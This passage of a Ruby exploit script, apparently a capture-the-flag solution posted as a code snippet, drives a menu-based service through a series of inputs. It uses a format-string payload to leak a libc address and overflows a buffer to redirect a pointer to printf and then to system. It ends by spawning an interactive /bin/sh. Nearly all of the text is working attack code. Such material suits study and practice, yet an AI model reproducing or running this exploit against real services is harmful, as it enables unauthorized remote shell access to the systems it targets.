s.puts "2"
s.puts "5"
s.puts "5"
s.puts "5"
s.puts "8"
data = "AAAA\1!%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p" # get libc offset by printf
data = data + "A" * (128 - data.size) + [base_offset + printf_plt].pack("q")
p data
s.puts "guest" + "1"* 139 + data
s.puts "guest"
s.puts "3"
s.puts "2"
s.expect("orders? AAAA")
libc_base = s.gets.force_encoding('ASCII-8BIT').split(',')[3].to_i(16) - 0x3bf060
s.puts "8"
s.puts "admin"
s.puts admin_pass
s.puts "4"
s.puts 'y'
s.puts "hoge"
s.puts "2"
s.puts "2"
s.puts "2"
s.puts "5"
s.puts "2"
s.puts "5"
s.puts "5"
s.puts "5"
s.puts "8"
data = "sh\0\0\1!ABCD"
data = data + "A" * (128 - data.size) + [libc_base + system_libc].pack("q")
s.puts "guest" + "1"* 139 + data
s.puts "guest"
s.puts "3"
s.puts "3"
# run system("/bin/sh")
s.interactive!
end
Comments (0)
You can clone a snippet to your computer for local editing. Learn more.